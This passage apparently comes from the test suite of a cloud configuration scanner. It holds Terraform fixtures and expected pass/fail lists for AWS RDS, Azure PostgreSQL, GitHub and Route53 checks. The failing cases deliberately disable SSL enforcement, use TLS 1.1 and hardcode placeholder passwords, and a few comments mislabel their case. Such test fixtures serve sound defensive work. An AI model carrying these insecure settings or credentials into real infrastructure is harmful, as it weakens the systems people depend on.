    "content": "pass:\n  - \"azurerm_postgresql_server_key.ok\"\nfail:\n  - \"azurerm_postgresql_server_key.not_ok\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/PGSQLenablesCustomerManagedKey/main.tf",
    "content": "resource \"azurerm_resource_group\" \"ok\" {\n  name     = \"ok-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_key_vault\" \"ok\" {\n  name                     = \"okkv\"\n  location                 = azurerm_resource_group.ok.location\n  resource_group_name      = azurerm_resource_group.ok.name\n  tenant_id                = data.azurerm_client_config.current.tenant_id\n  sku_name                 = \"premium\"\n  purge_protection_enabled = true\n}\n\nresource \"azurerm_key_vault_access_policy\" \"server\" {\n  key_vault_id       = azurerm_key_vault.ok.id\n  tenant_id          = data.azurerm_client_config.current.tenant_id\n  object_id          = azurerm_postgresql_server.ok.identity.0.principal_id\n  key_permissions    = [\"get\", \"unwrapkey\", \"wrapkey\"]\n  secret_permissions = [\"get\"]\n}\n\nresource \"azurerm_key_vault_access_policy\" \"client\" {\n  key_vault_id       = azurerm_key_vault.ok.id\n  tenant_id          = data.azurerm_client_config.current.tenant_id\n  object_id          = data.azurerm_client_config.current.object_id\n  key_permissions    = [\"get\", \"create\", \"delete\", \"list\", \"restore\", \"recover\", \"unwrapkey\", \"wrapkey\", \"purge\", \"encrypt\", \"decrypt\", \"sign\", \"verify\"]\n  secret_permissions = [\"get\"]\n}\n\nresource \"azurerm_key_vault_key\" \"ok\" {\n  name         = \"tfex-key\"\n  key_vault_id = azurerm_key_vault.ok.id\n  key_type     = \"RSA\"\n  key_size     = 2048\n  key_opts     = [\"decrypt\", \"encrypt\", \"sign\", \"unwrapKey\", \"verify\", \"wrapKey\"]\n  depends_on = [\n    azurerm_key_vault_access_policy.client,\n    azurerm_key_vault_access_policy.server,\n  ]\n}\n\nresource \"azurerm_postgresql_server\" \"ok\" {\n  name                             = \"ok-pg-server\"\n  location                         = azurerm_resource_group.ok.location\n  resource_group_name              = azurerm_resource_group.ok.name\n  sku_name                         = \"GP_Gen5_2\"\n  administrator_login              = \"acctestun\"\n  administrator_login_password     = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n  ssl_enforcement_enabled          = true\n  ssl_minimal_tls_version_enforced = \"TLS1_1\"\n  storage_mb                       = 51200\n  version                          = \"5.6\"\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\nresource \"azurerm_postgresql_server_key\" \"ok\" {\n  server_id        = azurerm_postgresql_server.ok.id\n  key_vault_key_id = azurerm_key_vault_key.ok.id\n}\n\nresource \"azurerm_postgresql_server_key\" \"not_ok\" {\n  name                             = \"ok-pg-server\"\n  location                         = azurerm_resource_group.ok.location\n  resource_group_name              = azurerm_resource_group.ok.name\n  sku_name                         = \"GP_Gen5_2\"\n  administrator_login              = \"acctestun\"\n  administrator_login_password     = \"H@Sh1CoR3!\"\n  ssl_enforcement_enabled          = true\n  ssl_minimal_tls_version_enforced = \"TLS1_1\"\n  storage_mb                       = 51200\n  version                          = \"5.6\"\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/PostgresDBHasQueryLoggingEnabled/db.tf",
    "content": "resource \"aws_db_instance\" \"pass\" {\n\t# checkov:skip=CKV_AWS_129: ADD REASON\n\t# checkov:skip=CKV_AWS_157: ADD REASON\n\t# checkov:skip=CKV_AWS_118: ADD REASON\n\t# checkov:skip=CKV_AWS_16: ADD REASON\n\t# checkov:skip=CKV_AWS_161: ADD REASON\n  engine               = \"postgres\"\n  instance_class       = \"db.t3.micro\"\n  name                 = \"mydb\"\n  parameter_group_name = aws_db_parameter_group.pass.id\n}\n\nresource \"aws_db_parameter_group\" \"pass\" {\n  name_prefix = \"my_name\"\n  family = \"postgres10\"\n\n  parameter {\n    name  = \"log_statement\"\n    value = \"ddl\"\n  }\n\n  parameter {\n    name  = \"log_min_duration_statement\"\n    value = 1000\n  }\n}\n\nresource \"aws_db_instance\" \"pass2\" {\n\t# checkov:skip=CKV_AWS_157: ADD REASON\n\t# checkov:skip=CKV_AWS_16: ADD REASON\n  engine               = \"postgres\"\n  instance_class       = \"db.t3.micro\"\n  name                 = \"mydb\"\n  parameter_group_name  = aws_db_parameter_group.pass.name\n}\n\n\n//no parameter_group_name set\nresource \"aws_db_instance\" \"fail\" {\n  engine         = \"postgres\"\n  instance_class = \"db.t3.micro\"\n  name           = \"mydb\"\n}\n\nresource \"aws_db_instance\" \"fail3\" {\n\t# checkov:skip=CKV_AWS_118: ADD REASON\n\t# checkov:skip=CKV_AWS_16: ADD REASON\n\t# checkov:skip=CKV_AWS_161: ADD REASON\n  engine               = \"postgres\"\n  instance_class       = \"db.t3.micro\"\n  name                 = \"mydb\"\n  parameter_group_name = aws_db_parameter_group.fail.id\n}\n\nresource \"aws_db_instance\" \"fail4\" {\n\t# checkov:skip=CKV_AWS_157: ADD REASON\n\t# checkov:skip=CKV_AWS_161: ADD REASON\n  engine               = \"postgres\"\n  instance_class       = \"db.t3.micro\"\n  name                 = \"mydb\"\n  parameter_group_name = aws_db_parameter_group.fail2.id\n}\n\n\n//not postgres\nresource \"aws_db_instance\" \"ignore\" {\n\t# checkov:skip=CKV_AWS_161: ADD REASON\n\t# checkov:skip=CKV_AWS_157: ADD REASON\n\t# checkov:skip=CKV_AWS_129: ADD REASON\n\t# checkov:skip=CKV_AWS_16: ADD REASON\n  engine         = \"mysql\"\n  instance_class = \"db.t3.micro\"\n  name           = \"mydb\"\n}\n\n// no postgres\nresource \"aws_db_instance\" \"ignore2\" {\n\t# checkov:skip=CKV_AWS_129: ADD REASON\n  allocated_storage    = 10\n  engine               = \"mysql\"\n  engine_version       = \"5.7\"\n  instance_class       = \"db.t3.micro\"\n  name                 = \"mydb\"\n  username             = \"foo\"\n  password             = \"foobarbaz\"\n  parameter_group_name = \"default.mysql5.7\"\n  skip_final_snapshot  = true\n}\n\nprovider \"aws\" {\n  region=\"eu-west-2\"\n}\n\nresource \"aws_db_instance\" \"ignore3\" {\n  identifier                    = \"xxx-our-unique-id\"\n  allocated_storage             = 1000\n  storage_type                  = \"gp2\"\n  copy_tags_to_snapshot         = true\n  engine                        = \"sqlserver-se\"\n  engine_version                = \"15.00.4043.16.v1\"\n  license_model                 = \"license-included\"\n  instance_class                = \"db.r5.4xlarge\"\n  name                          = \"\"\n  username                      = \"sa\"\n  password                      = var.password\n  port                          = 1433\n  publicly_accessible           = false\n  security_group_names          = []\n  vpc_security_group_ids        = [\"sg-xxxxx\"]\n  db_subnet_group_name          = \"dbsubnet\"\n  performance_insights_enabled  = true\n  option_group_name             = \"sql-std-2019\"\n  deletion_protection           = true\n  max_allocated_storage         = 1500\n  parameter_group_name          = \"sql-server-2019-std\"\n  character_set_name            = \"SQL_Latin1_General_CP1_CS_AS\"\n  # checkov:skip=CKV_AWS_157:Web db, acceptable risk until Resize\n  multi_az                      = false\n  backup_retention_period       = 35\n  enabled_cloudwatch_logs_exports = [\"agent\",\"error\"]\n  backup_window                 = \"11:17-11:47\"\n  maintenance_window            = \"sat:07:13-sat:08:43\"\n  final_snapshot_identifier     = \"xxx-unique-name-final\"\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/PostgresDBHasQueryLoggingEnabled/expected.yaml",
    "content": "pass:\n  - \"aws_db_instance.pass\"\n  - \"aws_db_instance.pass2\"\nfail:\n  - \"aws_db_instance.fail\"\n  - \"aws_db_instance.fail3\"\n  - \"aws_db_instance.fail4\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/PostgresDBHasQueryLoggingEnabled/rds.tf",
    "content": "//will be correct params\nresource \"aws_rds_cluster\" \"pass\" {\n cluster_identifier      = \"aurora-cluster-demo\"\n  engine                  = \"aurora-postgresql\"\n  availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name           = \"mydb\"\n  master_username         = \"foo\"\n  master_password         = \"bar\"\n  backup_retention_period = 5\n  preferred_backup_window = \"07:00-09:00\"\n  db_cluster_parameter_group_name=aws_rds_cluster_parameter_group.pass.name\n}\n\nresource \"aws_rds_cluster_parameter_group\" \"pass\" {\n  name        = \"rds-cluster-pg-pass\"\n  family      = \"aurora-postgresql11\"\n  description = \"RDS default cluster parameter group\"\n\n  parameter {\n    name  = \"log_statement\"\n    value = \"all\"\n  }\n\n  parameter {\n    name  = \"log_min_duration_statement\"\n    value = \"250ms\"\n  }\n}\n\nresource \"aws_rds_cluster\" \"fail\" {\n cluster_identifier      = \"aurora-cluster-demo\"\n  engine                  = \"aurora-postgresql\"\n  availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name           = \"mydb\"\n  master_username         = \"foo\"\n  master_password         = \"bar\"\n  backup_retention_period = 5\n  preferred_backup_window = \"07:00-09:00\"\n  db_cluster_parameter_group_name=aws_rds_cluster_parameter_group.fail.name\n}\n\n//not correct params\nresource \"aws_rds_cluster_parameter_group\" \"fail\" {\n  name        = \"mysql-cluster-fail\"\n  family      = \"mysql\"\n  description = \"RDS default cluster parameter group\"\n\n  parameter {\n    name  = \"character_set_server\"\n    value = \"utf8\"\n  }\n\n  parameter {\n    name  = \"character_set_client\"\n    value = \"utf8\"\n  }\n}\n\nprovider \"aws\" {\n  region=\"eu-west-2\"\n}\n\nresource \"aws_rds_cluster\" \"fail2\" {\n cluster_identifier      = \"aurora-cluster-demo\"\n  engine                  = \"aurora-postgresql\"\n  availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name           = \"mydb\"\n  master_username         = \"foo\"\n  master_password         = \"bar\"\n  backup_retention_period = 5\n  preferred_backup_window = \"07:00-09:00\"\n  db_cluster_parameter_group_name=aws_rds_cluster_parameter_group.fail2.name\n}\n\nresource \"aws_rds_cluster_parameter_group\" \"fail2\" {\n  name        = \"rds-cluster-pg-pass\"\n  family      = \"aurora-postgresql11\"\n  description = \"RDS default cluster parameter group\"\n\n  parameter {\n    name  = \"log_statement\"\n    value = \"all\"\n  }\n}\n\n\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/PostgresRDSHasQueryLoggingEnabled/expected.yaml",
    "content": "pass:\n  - \"aws_rds_cluster.pass\"\n  - \"aws_rds_cluster.pass_many_parameters\"\n\nfail:\n  - \"aws_rds_cluster.fail\"\n  - \"aws_rds_cluster.fail2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/PostgresRDSHasQueryLoggingEnabled/rds.tf",
    "content": "//will be correct params\nresource \"aws_rds_cluster\" \"pass\" {\n cluster_identifier      = \"aurora-cluster-demo\"\n  engine                  = \"aurora-postgresql\"\n  availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name           = \"mydb\"\n  master_username         = \"foo\"\n  master_password         = \"bar\"\n  backup_retention_period = 5\n  preferred_backup_window = \"07:00-09:00\"\n  db_cluster_parameter_group_name=aws_rds_cluster_parameter_group.pass.name\n}\n\nresource \"aws_rds_cluster_parameter_group\" \"pass\" {\n  name        = \"rds-cluster-pg-pass\"\n  family      = \"aurora-postgresql11\"\n  description = \"RDS default cluster parameter group\"\n\n  parameter {\n    name  = \"log_statement\"\n    value = \"all\"\n  }\n\n  parameter {\n    name  = \"log_min_duration_statement\"\n    value = \"250ms\"\n  }\n}\n\n# 10+ parameters\n\nresource \"aws_rds_cluster\" \"pass_many_parameters\" {\n  cluster_identifier      = \"aurora-cluster-demo\"\n  engine                  = \"aurora-postgresql\"\n  availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name           = \"mydb\"\n  master_username         = \"foo\"\n  master_password         = \"bar\"\n  backup_retention_period = 5\n  preferred_backup_window = \"07:00-09:00\"\n\n  db_cluster_parameter_group_name = aws_rds_cluster_parameter_group.pass_many_parameters.name\n}\n\nresource \"aws_rds_cluster_parameter_group\" \"pass_many_parameters\" {\n  name        = \"rds-cluster-pg-pass\"\n  family      = \"aurora-postgresql11\"\n  description = \"RDS default cluster parameter group\"\n\n  parameter {\n    name  = \"fake_1\"\n    value = \"fake_1\"\n  }\n\n  parameter {\n    name  = \"fake_2\"\n    value = \"fake_2\"\n  }\n\n  parameter {\n    name  = \"fake_3\"\n    value = \"fake_3\"\n  }\n\n  parameter {\n    name  = \"fake_4\"\n    value = \"fake_4\"\n  }\n\n  parameter {\n    name  = \"fake_5\"\n    value = \"fake_5\"\n  }\n\n  parameter {\n    name  = \"fake_6\"\n    value = \"fake_6\"\n  }\n\n  parameter {\n    name  = \"fake_7\"\n    value = \"fake_7\"\n  }\n\n  parameter {\n    name  = \"fake_8\"\n    value = \"fake_8\"\n  }\n\n  parameter {\n    name  = \"fake_9\"\n    value = \"fake_9\"\n  }\n\n  parameter {\n    name  = \"fake_10\"\n    value = \"fake_10\"\n  }\n\n  parameter {\n    name  = \"log_statement\"\n    value = \"all\"\n  }\n\n  parameter {\n    name  = \"log_min_duration_statement\"\n    value = \"250ms\"\n  }\n}\n\nresource \"aws_rds_cluster\" \"fail\" {\n cluster_identifier      = \"aurora-cluster-demo\"\n  engine                  = \"aurora-postgresql\"\n  availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name           = \"mydb\"\n  master_username         = \"foo\"\n  master_password         = \"bar\"\n  backup_retention_period = 5\n  preferred_backup_window = \"07:00-09:00\"\n  db_cluster_parameter_group_name=aws_rds_cluster_parameter_group.fail.name\n}\n\n//not correct params\nresource \"aws_rds_cluster_parameter_group\" \"fail\" {\n  name        = \"mysql-cluster-fail\"\n  family      = \"mysql\"\n  description = \"RDS default cluster parameter group\"\n\n  parameter {\n    name  = \"character_set_server\"\n    value = \"utf8\"\n  }\n\n  parameter {\n    name  = \"character_set_client\"\n    value = \"utf8\"\n  }\n}\n\nprovider \"aws\" {\n  region=\"eu-west-2\"\n}\n\nresource \"aws_rds_cluster\" \"fail2\" {\n cluster_identifier      = \"aurora-cluster-demo\"\n  engine                  = \"aurora-postgresql\"\n  availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name           = \"mydb\"\n  master_username         = \"foo\"\n  master_password         = \"bar\"\n  backup_retention_period = 5\n  preferred_backup_window = \"07:00-09:00\"\n  db_cluster_parameter_group_name=aws_rds_cluster_parameter_group.fail2.name\n}\n\nresource \"aws_rds_cluster_parameter_group\" \"fail2\" {\n  name        = \"rds-cluster-pg-pass\"\n  family      = \"aurora-postgresql11\"\n  description = \"RDS default cluster parameter group\"\n\n  parameter {\n    name  = \"log_statement\"\n    value = \"all\"\n  }\n}\n\n\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/RDSClusterHasBackupPlan/expected.yaml",
    "content": "pass:\n  - \"aws_rds_cluster.rds_cluster_good\"\nfail:\n  - \"aws_rds_cluster.rds_cluster_bad\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/RDSClusterHasBackupPlan/main.tf",
    "content": "resource \"aws_rds_cluster\" \"rds_cluster_good\" {\n  cluster_identifier      = \"aurora-cluster-demo\"\n  engine                  = \"aurora-mysql\"\n  engine_version          = \"5.7.mysql_aurora.2.03.2\"\n  availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name           = \"mydb\"\n  master_username         = \"foo\"\n  master_password         = \"bar\"\n}\n\nresource \"aws_rds_cluster\" \"rds_cluster_bad\" {\n  cluster_identifier      = \"aurora-cluster-demo\"\n  engine                  = \"aurora-mysql\"\n  engine_version          = \"5.7.mysql_aurora.2.03.2\"\n  availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name           = \"mydb\"\n  master_username         = \"foo\"\n  master_password         = \"bar\"\n}\n\nresource \"aws_backup_plan\" \"example\" {\n  name = \"tf_example_backup_plan\"\n\n  rule {\n    rule_name         = \"tf_example_backup_rule\"\n    target_vault_name = \"vault-name\"\n    schedule          = \"cron(0 12 * * ? *)\"\n  }\n}\n\nresource \"aws_backup_selection\" \"backup_good\" {\n  iam_role_arn = \"arn:partition:service:region:account-id:resource-id\"\n  name         = \"tf_example_backup_selection\"\n  plan_id      = aws_backup_plan.example.id\n\n  resources = [\n    aws_rds_cluster.rds_cluster_good.arn\n  ]\n}\n\nresource \"aws_backup_selection\" \"backup_bad\" {\n  iam_role_arn = \"arn:partition:service:region:account-id:resource-id\"\n  name         = \"tf_example_backup_selection\"\n  plan_id      = aws_backup_plan.example.id\n\n  resources = [\n    aws_rds_cluster.rds_cluster_good.arn\n  ]\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/RDSEnableCopyTagsToSnapshot/expected.yaml",
    "content": "pass:\n  - \"aws_db_instance.pass\"\nfail:\n  - \"aws_db_instance.fail_1\"\n  - \"aws_db_instance.fail_2\"\n  - \"aws_db_instance.fail_3\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/RDSEnableCopyTagsToSnapshot/main.tf",
    "content": "# Pass\nresource \"aws_db_instance\" \"pass\" {\n  allocated_storage    = 10\n  db_name              = \"mydb\"\n  engine               = \"mysql\"\n  engine_version       = \"5.7\"\n  instance_class       = \"db.t3.micro\"\n  username             = \"foo\"\n  password             = \"foobarbaz\"\n  parameter_group_name = \"default.mysql5.7\"\n  skip_final_snapshot  = true\n  copy_tags_to_snapshot = true\n}\n\n# Fail case 1:\nresource \"aws_db_instance\" \"fail_1\" {\n  allocated_storage    = 10\n  db_name              = \"mydb\"\n  engine               = \"neptune\"\n  engine_version       = \"5.7\"\n  instance_class       = \"db.t3.micro\"\n  username             = \"foo\"\n  password             = \"foobarbaz\"\n  parameter_group_name = \"default.mysql5.7\"\n  skip_final_snapshot  = true\n  copy_tags_to_snapshot = true\n}\n\n# Fail case 2:\nresource \"aws_db_instance\" \"fail_2\" {\n  allocated_storage    = 10\n  db_name              = \"mydb\"\n  engine               = \"mysql\"\n  engine_version       = \"5.7\"\n  instance_class       = \"db.t3.micro\"\n  username             = \"foo\"\n  password             = \"foobarbaz\"\n  parameter_group_name = \"default.mysql5.7\"\n  skip_final_snapshot  = true\n  copy_tags_to_snapshot = false\n}\n\n# Default: copy_tags_to_snapshot = FALSE\n\nresource \"aws_db_instance\" \"fail_3\" {\n  allocated_storage    = 10\n  db_name              = \"mydb\"\n  engine               = \"mysql\"\n  engine_version       = \"5.7\"\n  instance_class       = \"db.t3.micro\"\n  username             = \"foo\"\n  password             = \"foobarbaz\"\n  parameter_group_name = \"default.mysql5.7\"\n  skip_final_snapshot  = true\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/RDSEncryptionInTransit/expected.yaml",
    "content": "pass:\n  - \"aws_db_instance.pass_no_param\"\n  - \"aws_db_instance.postgres_pass1\"\n  - \"aws_db_instance.pass_other_fam\"\n  - \"aws_db_instance.mariadb_pass\"\n  - \"aws_db_instance.db2_pass\"\nfail:\n  - \"aws_db_instance.postgres_fail1\"\n  - \"aws_db_instance.postgres_fail_missing\"\n  - \"aws_db_instance.maria_fail_0\"\n  - \"aws_db_instance.mariadb_fail_missing\"\n  - \"aws_db_instance.db2_fail_0\"\n  - \"aws_db_instance.db2_fail_missing\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/RDSEncryptionInTransit/main.tf",
    "content": "# Unknown: aws_db_instance with no connection\nresource \"aws_db_instance\" \"pass_no_param\" {\n  # other attributes\n  parameter_group_name = aws_db_parameter_group.notexist.name\n  apply_immediately    = true\n}\n\n# Pass: aws_db_parameter_group with no connection\nresource \"aws_db_parameter_group\" \"no_connect\" {\n  name   = \"my-pg\"\n  family = \"db2-ae\"\n\n  parameter {\n    name  = \"db2comm\"\n    value = \"0\"\n  }\n\n  lifecycle {\n    create_before_destroy = true\n  }\n}\n\n# Pass: Postgres with rds.force_ssl set to 1\nresource \"aws_db_instance\" \"postgres_pass1\" {\n  # other attributes\n  parameter_group_name = aws_db_parameter_group.postgres_pass.name\n  apply_immediately    = true\n}\n\nresource \"aws_db_parameter_group\" \"postgres_pass\" {\n  name   = \"my-pg\"\n  family = \"postgres13\"\n\n  parameter {\n    name  = \"something_else\"\n    value = \"0\"\n  }\n\n  parameter {\n    name  = \"rds.force_ssl\"\n    value = \"1\" # Must exist and must be 1\n  }\n\n  lifecycle {\n    create_before_destroy = true\n  }\n}\n\n# Fail: Postgres with rds.force_ssl set to 1\nresource \"aws_db_instance\" \"postgres_fail1\" {\n  # other attributes\n  parameter_group_name = aws_db_parameter_group.postgres_fail_0.name\n  apply_immediately    = true\n}\n\nresource \"aws_db_parameter_group\" \"postgres_fail_0\" {\n  name   = \"my-pg\"\n  family = \"postgres13\"\n\n  parameter {\n    name  = \"something_else\"\n    value = \"0\"\n  }\n\n  parameter {\n    name  = \"rds.force_ssl\"\n    value = \"0\" # Must exist and must be 1\n  }\n\n  lifecycle {\n    create_before_destroy = true\n  }\n}\n\n# Fail: Postgres with rds.force_ssl set to 1\nresource \"aws_db_instance\" \"postgres_fail_missing\" {\n  # other attributes\n  parameter_group_name = aws_db_parameter_group.postgres_fail_missing.name\n  apply_immediately    = true\n}\n\nresource \"aws_db_parameter_group\" \"postgres_fail_missing\" {\n  name   = \"my-pg\"\n  family = \"postgres13\"\n\n  parameter {\n    name  = \"something_else\"\n    value = \"0\"\n  }\n\n  lifecycle {\n    create_before_destroy = true\n  }\n}\n\n\n# Pass: Postgres with rds.force_ssl set to 1\nresource \"aws_db_instance\" \"pass_other_fam\" {\n  # other attributes\n  parameter_group_name = aws_db_parameter_group.pass_other_fam.name\n  apply_immediately    = true\n}\n\nresource \"aws_db_parameter_group\" \"pass_other_fam\" {\n  name   = \"my-pg\"\n  family = \"other-fam\"\n\n  parameter {\n    name  = \"something_else\"\n    value = \"0\"\n  }\n\n  lifecycle {\n    create_before_destroy = true\n  }\n}\n\n# Fail: mariadb require_secure_transport set to 0\nresource \"aws_db_instance\" \"maria_fail_0\" {\n  # other attributes\n  parameter_group_name = aws_db_parameter_group.maria_fail_0.name\n  apply_immediately    = true\n}\n\nresource \"aws_db_parameter_group\" \"maria_fail_0\" {\n  name   = \"my-pg\"\n  family = \"mariadb1\"\n\n  parameter {\n    name  = \"require_secure_transport\"\n    value = \"0\"\n  }\n\n  lifecycle {\n    create_before_destroy = true\n  }\n}\n\n# Pass: mariadb require_secure_transport set to 1\nresource \"aws_db_instance\" \"mariadb_pass\" {\n  # other attributes\n  parameter_group_name = aws_db_parameter_group.mariadb_pass.name\n  apply_immediately    = true\n}\n\nresource \"aws_db_parameter_group\" \"mariadb_pass\" {\n  name   = \"my-pg\"\n  family = \"mariadb1\"\n\n  parameter {\n    name  = \"something_else\"\n    value = \"1\"\n  }\n\n  parameter {\n    name  = \"require_secure_transport\"\n    value = \"1\"\n  }\n\n  parameter {\n    name  = \"something_else2\"\n    value = \"1\"\n  }\n\n  lifecycle {\n    create_before_destroy = true\n  }\n}\n\n# Pass: mariadb require_secure_transport set to 1\nresource \"aws_db_instance\" \"mariadb_fail_missing\" {\n  # other attributes\n  parameter_group_name = aws_db_parameter_group.mariadb_fail_missing.name\n  apply_immediately    = true\n}\n\nresource \"aws_db_parameter_group\" \"mariadb_fail_missing\" {\n  name   = \"my-pg\"\n  family = \"mariadb1\"\n\n  parameter {\n    name  = \"something_else\"\n    value = \"1\"\n  }\n\n  parameter {\n    name  = \"something_else2\"\n    value = \"1\"\n  }\n\n  lifecycle {\n    create_before_destroy = true\n  }\n}\n\n# Fail: db2 with db2comm set to 0\nresource \"aws_db_instance\" \"db2_fail_0\" {\n  # other attributes\n  parameter_group_name = aws_db_parameter_group.db2_fail_0.name\n  apply_immediately    = true\n}\n\nresource \"aws_db_parameter_group\" \"db2_fail_0\" {\n  name   = \"my-pg\"\n  family = \"1db2-ae1\"\n\n  parameter {\n    name  = \"db2comm\"\n    value = \"0\"\n  }\n\n  lifecycle {\n    create_before_destroy = true\n  }\n}\n\n# Pass: db2 with db2comm set to SSL\nresource \"aws_db_instance\" \"db2_pass\" {\n  # other attributes\n  parameter_group_name = aws_db_parameter_group.db2_pass.name\n  apply_immediately    = true\n}\n\nresource \"aws_db_parameter_group\" \"db2_pass\" {\n  name   = \"my-pg\"\n  family = \"1db2-ae1\"\n\n  parameter {\n    name  = \"db2comm\"\n    value = \"SSL\"\n  }\n\n  lifecycle {\n    create_before_destroy = true\n  }\n}\n\n# Fail: db2 with db2comm missing\nresource \"aws_db_instance\" \"db2_fail_missing\" {\n  # other attributes\n  parameter_group_name = aws_db_parameter_group.db2_fail_missing.name\n  apply_immediately    = true\n}\n\nresource \"aws_db_parameter_group\" \"db2_fail_missing\" {\n  name   = \"my-pg\"\n  family = \"1db2-ae1\"\n\n  lifecycle {\n    create_before_destroy = true\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/RepositoryHasBranchProtection/expected.yaml",
    "content": "pass:\n    - \"github_repository.pass\"\n    - \"github_repository.pass2\"\n    - \"github_repository.pass_ruleset\"\nfail:\n    - \"github_repository.fail\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/RepositoryHasBranchProtection/main.tf",
    "content": "resource \"github_branch_protection\" \"resource\" {\n  repository_id = github_repository.pass.node_id\n  # also accepts repository name\n  # repository_id  = github_repository.example.name\n\n  pattern          = \"main\"\n  enforce_admins   = true\n  allows_deletions = true\n\n  required_status_checks {\n    strict   = false\n    contexts = [\"ci/travis\"]\n  }\n\n  required_pull_request_reviews {\n    dismiss_stale_reviews  = true\n    restrict_dismissals    = true\n    dismissal_restrictions = [\n      data.github_user.example.node_id,\n      github_team.example.node_id,\n    ]\n  }\n\n  push_restrictions = [\n    data.github_user.example.node_id,\n    # limited to a list of one type of restriction (user, team, app)\n    # github_team.example.node_id\n  ]\n\n}\n\nresource \"github_repository\" \"pass\" {\n  name = \"test\"\n}\n\nresource \"github_repository\" \"fail\" {\n  name = \"fail\"\n}\n\nresource \"github_repository\" \"pass2\" {\n  name = \"test2\"\n}\n\nresource \"github_branch_protection_v3\" \"example\" {\n  repository     = github_repository.pass2.name\n  branch         = \"main\"\n  enforce_admins = true\n\n  required_status_checks {\n    strict   = false\n    contexts = [\"ci/travis\"]\n  }\n\n  required_pull_request_reviews {\n    dismiss_stale_reviews = true\n    dismissal_users       = [\"foo-user\"]\n    dismissal_teams       = [github_team.example.slug]\n  }\n\n  restrictions {\n    users = [\"foo-user\"]\n    teams = [github_team.example.slug]\n    apps  = [\"foo-app\"]\n  }\n}\n\n#pass\n\nresource \"github_repository\" \"pass_ruleset\" {\n  name        = \"example\"\n  description = \"Example repository\"\n}\n\nresource \"github_repository_ruleset\" \"pass_ruleset\" {\n  name        = \"example\"\n  repository  = github_repository.pass_ruleset.name\n  target      = \"branch\"\n  enforcement = \"active\"\n\n  conditions {\n    ref_name {\n      include = [\"~ALL\"]\n      exclude = []\n    }\n  }\n\n  bypass_actors {\n    actor_id    = 13473\n    actor_type  = \"Integration\"\n    bypass_mode = \"always\"\n  }\n\n  rules {\n    creation                = true\n    update                  = true\n    deletion                = true\n    required_linear_history = true\n    required_signatures     = true\n\n    required_deployments {\n      required_deployment_environments = [\"test\"]\n    }\n\n\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/Route53ARecordAttachedResource/expected.yaml",
    "content": "pass:\n  - \"aws_route53_record.pass\"\n  - \"aws_route53_record.pass2\"\n  - \"aws_route53_record.pass5\"\n  - \"aws_route53_record.legacy-tf\"\n  - \"aws_route53_record.pass_eb\"\n  - \"aws_route53_record.pass_apiv2\"\n  - \"aws_route53_record.pass_alb\"\n  - \"aws_route53_record.pass_lightsail\"\n  - \"aws_route53_record.pass_lightsail2\"\nfail:\n  - \"aws_route53_record.fail\"\nignore:\n  - \"aws_route53_record.ignore\"\n  - \"aws_route53_record.ignore2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/Route53ARecordAttachedResource/main.tf",
    "content": "resource \"aws_eip\" \"fixed\" {\n\t# checkov:skip=CKV2_AWS_19: ADD REASON\n}\n\nresource \"aws_route53_record\" \"pass\" {\n  zone_id = data.aws_route53_zone.primary.zone_id\n  name    = \"dns.freebeer.site\"\n  type    = \"A\"\n  ttl     = \"300\"\n  records = [aws_eip.fixed.public_ip]\n}\n\nresource \"aws_api_gateway_domain_name\" \"example\" {\n  certificate_arn = aws_acm_certificate_validation.example.certificate_arn\n  domain_name     = \"api.example.com\"\n}\n\nresource \"aws_route53_record\" \"pass2\" {\n  name    = aws_api_gateway_domain_name.example.domain_name\n  type    = \"A\"\n  zone_id = aws_route53_zone.example.id\n\n  alias {\n    evaluate_target_health = true\n    name                   = aws_api_gateway_domain_name.example.cloudfront_domain_name\n    zone_id                = aws_api_gateway_domain_name.example.cloudfront_zone_id\n  }\n}\n\nresource \"aws_apigatewayv2_domain_name\" \"example\" {\n  domain_name     = \"api-v2.example.com\"\n\n  domain_name_configuration {\n    certificate_arn = aws_acm_certificate_validation.example.certificate_arn\n    endpoint_type   = \"REGIONAL\"\n    security_policy = \"TLS_1_2\"\n  }\n}\n\nresource \"aws_route53_record\" \"pass_apiv2\" {\n  name    = aws_apigatewayv2_domain_name.example.domain_name\n  type    = \"A\"\n  zone_id = aws_route53_zone.example.id\n\n  alias {\n    evaluate_target_health = true\n    name                   = aws_apigatewayv2_domain_name.example.target_domain_name\n    zone_id                = aws_apigatewayv2_domain_name.example.hosted_zone_id\n  }\n}\n\nresource \"aws_route53_record\" \"fail\" {\n  zone_id = data.aws_route53_zone.primary.zone_id\n  name    = \"dns.freebeer.site\"\n  type    = \"A\"\n  ttl     = \"300\"\n  records = [\"1.1.1.1\"]\n}\n\nresource \"aws_route53_record\" \"ignore\" {\n  zone_id = data.aws_route53_zone.parent.id\n  name    = \"Some name abcd\"\n  type    = 